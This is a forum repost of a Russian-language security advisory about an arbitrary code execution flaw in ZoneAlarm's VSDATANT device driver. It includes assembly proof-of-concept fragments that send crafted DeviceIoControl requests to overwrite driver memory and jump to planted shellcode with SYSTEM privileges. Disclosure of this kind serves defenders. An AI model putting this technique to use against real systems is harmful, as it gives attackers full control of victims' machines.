![]() |
Выполнение произвольного кода в ZoneAlarm
Выполнение произвольного кода в ZoneAlarm
Уязвимость обнаружена в драйвере устройства в ZoneAlarm. Атакующий может получить полный контроль над уязвимой системой. Посылая специально обработанное форматированное сообщение к ZoneAlarm Device Driver (VSDATANT - TrueVector Device Driver), атакующий может перезаписать часть памяти драйвера устройства. В результате атакующий может выполнить произвольный код на системе: Первый сигнал должен быть послан, чтобы перезаписать определенный участок памяти, в нашем случае, этом может быть один из операторов условного перехода: push 0 ;overlapped push offset bytes_returned ;bytes returned push 4 ;lpOutBuffer size push STATMENT_INSTRUCTION_POINTER ;memory to overwrite push 0 ;lpInBuffer size push 0 ;lpInBuffer push 8400000fh ;guess what X-D push vsdatant_handle ;device handle call DeviceIoControl ;send it! Правильный STATMENT_INSTRUCTION_POINTER должен перезаписать адрес к 00060001h (например). После распределения памяти в этом адресе (вставка shellcode bla bla bla), второй сигнал должен быть послан, чтобы внедриться во вставленный код. Это может быть сделано посылкой другого сигнала: LpInBuffer: db STATMENT_OVERWRITTEN_NUMBER ;where to jump db 7 dup (0) ;data? dd temp_buff ;temp buffer db 10 dup (0) ;some space После посылки второго фальшивого сообщения, драйвер устройства перейдет к STATEMENT оффсету, который был перезаписан первым "сигналом". В результате атакующий может получить выполнить произвольный код с SYSTEM привилегиями. Уязвимость обнаружена в Local ZoneAlarm Firewall все версии (проверено на 3.1) Способов устранения обнаруженной уязвимости не существует в настоящее время. (c) securitylab.ru |
| Часовой пояс GMT +4, время: 22:40. |
Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.